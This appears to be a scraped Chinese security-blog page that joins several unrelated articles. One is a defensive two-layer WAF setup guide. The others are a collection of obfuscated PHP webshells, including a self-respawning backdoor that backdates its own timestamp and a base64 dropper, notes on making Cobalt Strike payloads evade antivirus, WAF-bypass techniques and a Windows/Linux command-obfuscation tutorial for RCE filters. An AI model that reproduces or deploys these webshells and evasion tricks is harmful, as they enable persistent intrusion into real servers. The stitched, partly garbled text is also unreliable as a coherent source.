泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - WAF绕过
对于雷池的文章我还有这几篇，包括常见的https配置、雷池+frp反代，以及其他的试用方法都有https://mp.weixin.qq.com/s/3JLrkymD7d46IaWbQup4wQhttps://mp.weixin.qq.com/s/Nvkx7Qdacmm9wx6OpJbejAhttps://mp.weixin.qq.com/s/VBD12Ttwh8JS1oQLC_4gWAhttps://mp.weixin.qq.com/s/z0NU3V4RASBFoE_cG0js7A本篇文章主要讲解halo和雷池的搭建过程，以及防护流量走向，架构设计等等算上自己上班时间，这篇文章总耗时7天+，自认为是一篇非常不错的文章，建议收藏转发，共5k+字，防止后面找不到了在写这篇文章期间遇到过很多部署问题，不过已经被我小羽全部解决了通过本篇文章可以避免很多问题，帮助您搭建属于自己的防护环境，即使您没有任何WAF搭建的经历，也可以通过本篇文章来学习企业级WAF环境搭建的完整流程完整总体网络拓扑架构互联网流量 │ ▼ ┌─────────────┐ │ WAF-A │ 第一层（外层） │ (如雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ WAF-B │ 第二层（内层） │ (如ModSec) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端 └─────────────┘若读过我这篇文章的师傅们，2025最新教程，使用雷池搭建内网靶场，进行简单的WAF绕过搭配上本篇文章的教学，完全能搭建出如下架构的企业级防护环境，再牛逼点，自己再配个系统加固的防护应用为什么要采用这样的架构？不同的WAF产品拦截规则、检测的算法一般都是不同的，如果攻击者绕过了第一层WAF，那么第二层就不一定能绕过了，这才是核心价值，非常恶心的是，现实环境中还真有人这么干，层层防护，做系统加固一般这样的架构第一层WAF，用来拦截常见的攻击手法比如漏扫 / CC，第二层针对真实的业务进行定制拦截，两层分贝专注不同的威胁，如果不嫌流量太多，那你可以全开，这样做的好处就是减少日志分析的压力服务器选购阿里云九折优惠：https://link.aitq.net/RcgjvF实惠海外服务器：https://link.aitq.net/RYbx8O通过我的专属优惠链接下单的师傅们，可以添加我v信 bAIbAIxiaoyu2024，享受一对一线上技术服务，若是长沙线下较近的，可线下上门服务雷池WAF配置表参考你的客户类型WAF 推荐配置个人站长 / 小微企业2 核 2G ~ 4 核 4G中小企业4 核 4G ~ 8 核 8G中型互联网公司8 核 8G ~ 16 核 16G集团 / 金融 / 政企16 核 16G+ 集群雷池安装首先更新系统，确保你的软件包和系统源都是最新的，这里我用的是ubuntu 24sudo apt update -y && sudo apt upgrade -y一键安装脚本，新机子默认没有装Docker，雷池会自动帮你装好，无需配置代理和下载源，预计时间3分钟sudo bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/manager.sh)"出现账号密码还有地址信息，就代表安装成功了，注意这里的IP地址可能跟你的服务器公网IP地址不一致需要使用你服务器的公网IP地址+端口来访问，雷池后台默认使用的是ssl协议，如果有需要可以自行配置ssl证书，没有ssl证书就会出现如下界面，我们需要点击高级再点继续访问输入刚刚控制台显示的账号密码到此雷池安装成功，接下来搭建防护站点Halo CMS 服务搭建在开始之前，需要搭建一个站点，作为防守目标，这里我就用 halo 这个博客项目首先创建如下 Docker Compose 文件，Docker-compose.yamlservices: halo: image: registry.fit2cloud.com/halo/halo-pro:2.25 restart: on-fAIlure:3 depends_on: halodb: condition: service_healthy networks: halo_network: volumes: - ./halo2:/root/.halo2 ports: - "8090:8090" healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8090/actuator/health/readiness"] interval: 30s timeout: 5s retries: 5 start_period: 30s environment: # JVM 参数，默认为 -Xmx256m -Xms256m，可以根据实际情况做调整，置空表示不添加 JVM 参数 - JVM_OPTS=-Xmx256m -Xms256m command: - --spring.r2dbc.url=r2dbc:pool:postgresql://halodb/halo - --spring.r2dbc.username=halo # PostgreSQL 的密码，请保证与下方 POSTGRES_PASSWORD 的变量值一致。 - --spring.r2dbc.password=openpostgresql - --spring.sql.init.platform=postgresql # 外部访问地址，请根据实际需要修改 - --halo.external-url=http://localhost:8090/ halodb: image: postgres:15.4 restart: on-fAIlure:3 networks: halo_network: volumes: - ./db:/var/lib/postgresql/data healthcheck: test: [ "CMD", "pg_isready" ] interval: 10s timeout: 5s retries: 5 environment: - POSTGRES_PASSWORD=openpostgresql - POSTGRES_USER=halo - POSTGRES_DB=halo - PGUSER=halo networks: halo_network:修改源sudo vi /etc/Docker/daemon.json # 添加如下内容 { "registry-mirrors": [ "https://docker.srv.internal.wang", "https://docker.1ms.run", "https://docker.m.daocloud.io" ] }重启Dockersudo systemctl daemon-reload sudo systemctl restart Docker根据之前创建的yaml配置文件部署halosudo Docker compose up -d启动成功后，访问你的公网IP地址和Docker-compose.yaml文件配置的外部端口，我配置的是8090端口，配置模板如下官网登场配置拒绝公网访问，然后关闭防火墙关闭 8090 端口，去你的阿里云云服务器控制面板中设置，此时我们的流量访问情况如下互联网流量/用户访问 │ ▼ X 无法直接访问 ┌─────────────┐ │ halo │ 真实后端 ，http://127.0.0.1:8090 └─────────────┘雷池单层WAF搭建网络拓扑互联网流量/用户访问 │ ▼ ┌─────────────┐ │ WAF │ 外层，IP：你的公网IP，我的是 http://175.24.181.203 │ (雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端 ，http://127.0.0.1:8090 └─────────────┘1、雷池添加防护找到防护应用模块，点击添加应用填好上游服务器，还有域名信息此时再通过IP/域名访问，这个就是反向代理出来的 127.0.0.1:8090 Halo服务访问第一篇hellow halo文章，注入sql注入规则，若出现如下界面，则代表防护成功http://175.24.181.203/archives/hello-halo' or 1=1 --+对应的防护数据，在攻击防护中查看可视化统计面板双层WAF搭建若雷池被攻破了，会直接影响业务，我们可以在雷池之下再搭建一层WAF，不同的waf规则不同，防护的强度也会增大，在hvv期间很多人会这么干那为什么要用 雷池 作为最外层，因为雷池的强大是总所周知的，花耗时近10年打造的WAF产品，由长亭独创的智能语义分析算法驱动第二层waf，推荐使用ModSecurity WAF，网络架构互联网流量/用户访问 │ ▼ ┌─────────────┐ │ WAF-A │ 第一层（外层）http://175.24.181.203 │ (雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ WAF-B │ 第二层（内层） │(ModSecurity)│ 监听端口：http://127.0.0.1:8080 └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端，http://127.0.0.1:8090 └─────────────┘ModSecurity WAF 搭建安装命令sudo apt install -y nginx libnginx-mod-http-modsecurity modsecurity-crs配置 ModSecurity 主规则文件sudo tee /etc/modsecurity/modsecurity.conf << 'EOF' # 全局开关：On=开启拦截，DetectionOnly=仅日志不拦截 SecRuleEngine On # 开启请求体检测，覆盖 POST 参数 SecRequestBodyAccess On SecResponseBodyAccess Off # 日志配置 SecAuditEngine RelevantOnly SecAuditLog /var/log/nginx/modsec_audit.log SecDebugLog /var/log/nginx/modsec_debug.log SecDebugLogLevel 0 # 临时目录配置 SecTmpDir /tmp/ SecDataDir /tmp/ # CRS 核心必需变量（修复 901001 自检 500 报错） # 版本号对应 OWASP CRS 3.3.5 SecAction "id:900000,phase:1,pass,nolog,\ setvar:tx.crs_setup_version=3033500,\ setvar:tx.anomaly_score=5,\ setvar:tx.paranoia_level=1,\ setvar:tx.sql_injection_score=5,\ setvar:tx.XSS_score=5" # 按依赖顺序加载 CRS 核心规则 Include /usr/share/modsecurity-crs/rules/REQUEST-901-INITIALIZATION.conf Include /usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf Include /usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf Include /usr/share/modsecurity-crs/rules/REQUEST-921-PROTOCOL-ATTACK.conf Include /usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf Include /usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf Include /usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf Include /usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf Include /usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf Include /usr/share/modsecurity-crs/rules/RESPONSE-950-DATA-LEAKAGES.conf Include /usr/share/modsecurity-crs/rules/RESPONSE-959-BLOCKING-EVALUATION.conf EOF创建nginx反向代理站点，监听8080断开，将 ModSecurity 流量转发到 Halo 后端sudo tee /etc/nginx/sites-avAIlable/modsec-waf << 'EOF' server { listen 8080; server_name _; # 启用 ModSecurity WAF modsecurity on; modsecurity_rules_file /etc/modsecurity/modsecurity.conf; # 反向代理到 Halo 后端 location / { proxy_pass http://127.0.0.1:8090; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } EOF释放 80 端口，不然会和雷池冲突sudo unlink /etc/nginx/sites-enabled/default启用站点并重启 ModSec 服务# 启用 ModSecurity 站点 sudo ln -sf /etc/nginx/sites-avAIlable/modsec-waf /etc/nginx/sites-enabled/ # 检查配置语法 sudo nginx -t # 重启 Nginx sudo systemctl restart nginx雷池 WAF 配置点击删除防护站点注意此时本地应用是8080端口，原来是 halo 8090 端口访问站点，能够正常访问拦截测试，注意，此次攻击流量没有走到第二层waf，已经被雷池给拦截了所以你在第二层waf中看不到此请求所以我们为了能直观的看到ModSecurity WAF是否搭建成功，我们需要去阿里云的控制台放行 8080 端口防火墙直接访问8080端口，真实情况下我们是不会开放这个端口的http://175.24.181.203:8080/sql注入测试http://175.24.181.203:8080/archives/hello-halo' or 1=1 --+对应的拦截日志# 实时查看拦截日志 tAIl -f /var/log/nginx/modsec_audit.log我用AI写了一个批量测试脚本 waf_test.sh赋予执行权限chmod +x waf_test.sh执行文件双层WAF，Agent 攻击测试最近热门的就是agent自动渗透了，我用的是strix这个开源项目，自己用rust魔改了一版./strix-rs -t http://175.24.181.203/ -m quick -i "请只对带雷池waf防护的80端口halo应用进行全面的渗透测试，和waf绕过，最后告诉我你使用了哪些规则，是否绕过，打印在终端中"来看看agent怎么讲？几乎全是正面反馈经过50次的会话迭代，未发现漏洞和绕过雷池的规则来看看雷池防护了多少攻击次数攻击日志分析，每一条未拦截的日志，咱们都可以在第二层modsec waf中添加自定义规则，从而达理想的到防护效果用之前AI生成的攻击脚本，将端口去掉，打雷池常见问题1、运维人员如何规避重复告警？对于双重waf，一个sql注入的请求，可能会被两个waf一起拦截，从而两个waf都产生大量告警应对方法，我们可以把每一个waf进行分工，比如WAF-1负责黑白名单、CC、通用攻击；WAF-2负责敏感信息泄露、业务逻辑漏洞等等。2、延迟增加每个请求都会经过一层反向代理，两层waf如果不在同一个机房，延迟会显著增加，我们可以将三台服务器尽量部署在同一个内网或者同一个机柜中，这样延迟能下降不少3、真实IP地址丢失第一层waf流量转发给第二层时，源IP变成WAF-1的内网IP。第二层waf和业务服务看到的全是127.0.0.1之类的地址，通常用 X-Forwarded-For 或 X-Real-IP 头传递真实IP需要在防护应用中的高级配置中，为上游服务器传递 X-Forwarded-Host、 X-Forwarded-Proto如何获取授权？雷池社区版开箱即用，但如果需要更加专业的防护，可以打开下面短链扫码登录获取授权，通过我的专属链接下单，可享受一对一专属技术顾问进行答疑，欢迎咨询 / 项目合作https://link.aitq.net/mt2nFu登录后找到雷池授权商店，打开这个应用点击购买授权这里支持专业版和商业版的试用套餐，点击申请试用即可同样的，也可以扫描下方二维码，加入雷池社群，寻找工作人员获取授权，感谢阅读
这里主要收集了一些常用的php一句话木马不同的写法，应对一些对文件内容过滤的场景1、普通一句话木马<?php @eval($_POST['cmd']); ?> 2、如果过滤了eval，可以使用assert绕过<?php @assert($_POST['cmd']); ?> 3、当过滤了eval、assert两个关键字时，可以用字符串拼接的方式。介绍substr_replace()函数<?php $a=substr_replace("assexx","rt",4); @$a($_POST['cmd']); ?> 4、@call_user_func把第一个参数作为回调参数使用<?php @call_user_func(assert,$_POST['cmd']); ?> 5、除了substr_replace()，还有一种字符分割法<?php $a="a"."s"; $b="s"."e"."rt"; $c=$a.$b; $c($_POST['cmd']); ?> 6、给下面给fun1中的变量a赋值assert<?php function fun1($a){ assert($a); } fun1($_POST['cmd']); ?> 7、可以利用函数来构造一句话木马<?php function shyshy($a){ assert($a); } @shyshy($_POST['cmd']); ?> 8、适用于过滤了GET和POST的情况下<?php $a=$_REQUEST['cmd']; $b="\n"; eval($b.=$a); ?> 9、可以构造一个类，利用魔术方法来拼接<?php class shyshy{ public $a=''; function __destruct(){ assert("this->$a"); } } $b=new shyshy(); $b->a=$_POST['cmd']; ?> 10、base64加解密<?php $a=base_decode(YXNzZXJ0); $b=$a(base64_decode($_POST['cmd'])); ?> 11、写入木马<?php if(isset($_POST['filename'])) { $d='data'; $$d=$_POST['text']; //$data $f='fp'; $$f=fopen($_POST['filename'],'wb'); //$fp echo fwrite($fp,$data):"save success":"save fAIl"; fclose($fp); } ?> 12、不死马<?php ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行，true则不会 set_time_limit(0); //如果为零说明永久执行直到程序结束 unlink(__FILE__); //调用unlink()的时候，文件还是存在的，只是目录里找不到该文件了，但是已经打开这个文件的进程可以正常读写 $file='./.index1.php'; $code='<?php if(md5($_POST["pass"])=="xxxxxxxxxx") //给木马设置密码，防止他人使用 { @eval($_POST["cmd"]); }?>'; while(1){ file_put_contents($file,$code); system('touch -m -d "2018-12-01 9:10:12" .index1.php'); //设置文件的编辑时间 usleep(5000); } ?> 13、还有一种方法<?php function simpleTransform($str, $offset = 1) { $transformed = ''; for ($i = 0; $i < strlen($str); $i++) { $transformed .= chr((ord($str[$i]) + $offset) % 256); } return $transformed; } $original = $_REQUEST["a"]; $transformed = simpleTransform($original, 3); function reverseTransform($str, $offset = 1) { $reversed = ''; for ($i = 0; $i < strlen($str); $i++) { $reversed .= chr((ord($str[$i]) - $offset + 256) % 256); } return $reversed; } $reversed = reverseTransform($transformed, 3); echo eval($reversed); 14、其他<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["xiaoyu"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['xiaoyu']);?> <?php $k="ass"."ert"; $k(${"_PO"."ST"} ['xiaoyu']);?> <?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> # 密码是-7 php v9<?php file_put_contents('c7.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NjMjc4OV0pOz8+')); ?> …/…/…/…/html/special/cc/index 更多一句话木马免杀方法，可以配合AI逐步尝试
开启cs服务器打开cs首先修改配置文件，一个是gcc，一个是go的存储路径界面直接生成的可以直接过电脑管家直接生成的容易被360pass，但是我们使用栅栏密码或者其他选项即可bypass日期6月29更多免杀工具分享，点击下方链接获取 往期推荐通杀国内所有杀软的方法！HW 中如何利用 WAF 缺陷进行绕过Notepad++ v8.8.1 本地提权复现近400个渗透测试常用命令，信息收集、web、内网、隐藏通信、域渗透等等一个永久的渗透知识库
在挖洞过程中，往往会遇到各种攻击利用被WAF拦截的情况，本文浅析总结了常见的一些绕过思路以及具体实现浅析WAF绕过在挖洞过程中，往往会遇到各种攻击利用被WAF拦截的情况，本文浅析总结了常见的一些绕过思路以及具体实现利用WAF的缺陷绕过1.1利用WAF性能缺陷-垃圾字符填充对于通用性较强的软WAF来说，不得不考虑到各种机器和系统的性能，故对于一些超大数据包、超长数据可能会跳过不检测因此可以填充大量垃圾字符来逃避WAF对数据包的检测如下1.2利用WAF性能缺陷-发送大量请求包可以采取高并发的攻击手段，WAF同样出于性能考虑可能会直接放行部分数据包。2.利用WAF适配组件的缺陷由于后端web容器、中间件、数据库、脚本语言的多样性，waf很难覆盖全，容易导致waf解析不了而后端可以正常解析读取导致的绕过IIS+asp在IIS+ASP的环境中，如果url中出现了百分号，但后面邻接的字符拼起来后又不在url编码表之内的话，ASP脚本处理时会将其忽略例如假设有如下请求xxx.asp?id=1 union se%lect 1,2,3,4 fro%m adm%inwaf规则不严放行后，后端由于该特性成功处理执行了xxx.asp?id=1 union select 1,2,3,4 from admin导致绕过TOMCATtomcat的特性也可以构造出许多绕过的方式，可以参考https://y4tacker.github.io/2022/06/19/year/2022/6/%E6%8E%A2%E5%AF%BBTomcat%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2%E7%BB%95waf%E6%96%B0%E5%A7%BF%E5%8A%BF/这篇文章1.参数前后添加空白字符绕过filename="1.jsp"的filename字符左右可以加上一些空白字符%20 %09 %0a %0b %0c %0d %1c %1d %1e %1f，比如%20filename%0a="1.jsp"这样导致waf匹配不到我们上传⽂件2.utf-16、cp037等各种编码绕过utf-16cp037（原始payload为' and (7=len(db_name())) and 'a' = 'a）json下的unicode编码3.利用waf适配协议的缺陷3.1畸形请求（与Web应用所处的中间件有关，在部分中间件下不适用）将HTTP请求头变为随机字符串例如xxxxT请求方法后加一个table等空字符使用get请求方法但带上post体（需要服务端能正常接受）3.2分块传输仅仅适用于post传输方法分块传输不少waf现在也都可以识别了，可以结合waf性能缺陷的思路综合利用-延时分块传输具体使用可以参考该项目 http://github.com/c0ny1/chunked-coding-converter3.3非预期请求方式get改为post、Content-Type: application/x-www-form-urlencoded改为multipart/form-data等跳过waf直接访问服务器寻找真实ip绕过云waf云waf通过配置NS或者CNAME记录，使得对网站的请求报文优先经过WAF主机，经过WAF主机过滤之后，将被认为无害的请求报文再送给实际的网站服务器进行请求,此时只要找到服务器的真实ip,修改host为服务器真是ip即可绕过云waf常见寻找真实ip的方式有如下几种1.证书信息查询 https://myssl.com/2.dns历史解析记录3.搜集子域名ip c段(考虑到费用问题，一些子域名并不会部署)4.超级ping......寻找没有部署waf的nginx反代机器当waf在nginx服务器上部署，且存在nginx集群时，可以试试尝试寻找能反代服务却又没用部署waf的机器访问进行绕过以下面这个为例，测试某接口发现被拦截搜集ip信息为xxx.xxx.200.1xx查找c段服务，一个个访问尝试利用成功利用waf白名单WAF存在某些机制，不处理和拦截白名单中的请求数据例如特定的ip,来自于搜索引擎爬虫的访问数据等特定ip可以使用https://github.com/TheKingOfDuck/burpFakeIP插件将xff等头部设置为127.0.0.1等进行绕过尝试搜索引擎爬虫的访问数据User-Agent修改为谷歌搜索引擎等原文链接：https://forum.butian.net/share/3639
使用oh-my-posh美化Windows终端在正式开始之前我们先更新一下powershell，检查当前版本，为5.1，win11默认都是5.1，需要手动升级，用过7.x后真的不想用这5.x了（超级好用），历史命令补全，智能提示常用命令，岂不美哉？这才是powershell！安装最新版本winget install --id Microsoft.Powershell --source winget下载完成之后切换到这个目录点进去就是powershell 7这时候菜单栏就可以发现一个powershell 7了，建议将注意：如果菜单没有的话，找到powershell 7的绝对安装路径(C:Program FilesPowerShell7pwsh.exe)，执行以下命令set-executionpolicy RemoteSigned $OutputEncoding Test-path $profile New-Item -Type file -Force $PROFILE # powershell初始化加载 PSReadLine 模块 Import-Module PSReadLine # 使用历史记录进行脚本提示 Set-PSReadLineOption -PredictionSource History # alt在Windows中有特殊用途，这里使用ctrl键代替 Set-PSReadLineKeyHandler -Chord "Ctrl+RightArrow" -Function ForwardWord此时我们进去的时候还是powershell 5，Windows 11自带的我们打开终端设置，修改默认的终端为刚刚下载的位置就好这样新建终端的时候就是纯净版powershell 7，还没有广告安装oh my poshpowershell安装Set-ExecutionPolicy Bypass -Scope Process -Force; Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('https://ohmyposh.dev/install.ps1'))重启终端新版终端还有历史命令提示，真的舒服此时就安装成功了在Nerd Font官网挑选一款自己喜欢的字体，记住名字后面要用（我自己选的是Cousine Nerd Font），下载并安装打开终端配置文件"font":{"face": "Cousine Nerd Font"}更改PowerShell安全策略Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine打开配置文件notepad $PROFILE如果配置文件不存在，则根据记事本提示创建新文件，或者以PowerShell命令创建New-Item -Path $PROFILE -Type File -Force在打开的配置文件添加以下代码并保存oh-my-posh init pwsh | Invoke-Expression已经加载默认的主题了显示可用主题Get-PoshThemes记住好自己要切换的主题名称notepad $PROFILE. $PROFILEok了，我换了个壁纸往期推荐【渗透测试】DC-8提权靶机综合渗透教程开箱即用！265种Windows渗透工具合集--灵兔宝盒一款开源持续更新的后渗透免杀框架SQL注入中各种waf的绕过方式，狗，盾，神，锁，宝放开双手 ！SQL注入Fuzzing字典 （270个）
从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式，靶场环境为CTFhub，分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤，这几种绕过方式Windows我们在Windows命令行中执行命令的时候，是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前，此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 在命令中"在^之后，且带有参数，则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数，因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令，net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%cmd% yv\administrator 这个0,1表示的数组切片，代表前后切片的索引C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa 也可以为负数，负数表示从右边开始数第几个C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa 当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator LinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found 运算符;表示连续指令，即使前面那条命令报错，后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root & 用于后台执行命令，这个可能看不出来┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto 我们使用ping 127.0.0.1 & whoami，这条命令会将ping放在后台执行，这个时候你没有设置ping的次数，就会一直执行下去，停止不了，而whoami已经执行完毕了。┌──(root㉿Kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿Kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去，也停止不了。。。。 &&连接两个指令的时候，要保证命令两个命令都能正常执行，否则一个错，就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found |管道符：用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如，我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot ||逻辑运算符：如果||左边的命令执行失败（返回非零退出状态），那么||右边的命令将会被执行。执行成功一个命令后，后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root ''，()，$，``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root 命令引用┌──(root㉿Kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku Linux特有变量$1，$*，$@，$n这个n表示除0以外的任意数字，都可以作为系统命令绕过的方式┌──(root㉿Kali)-[/data] └─# who$2ami root ┌──(root㉿Kali)-[/data] └─# who$4ami root ┌──(root㉿Kali)-[/data] └─# who$*ami root ┌──(root㉿Kali)-[/data] └─# who$@ami root ┌──(root㉿Kali)-[/data] └─# who$0ami who-zshami：未找到命令 Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿Kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿Kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root Linux中命令中的命令虽然会报错，但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666：未找到命令 6666：未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa：未找到命令 sajfdkljas：未找到命令 sdjflk123：未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root Linux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60 分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH 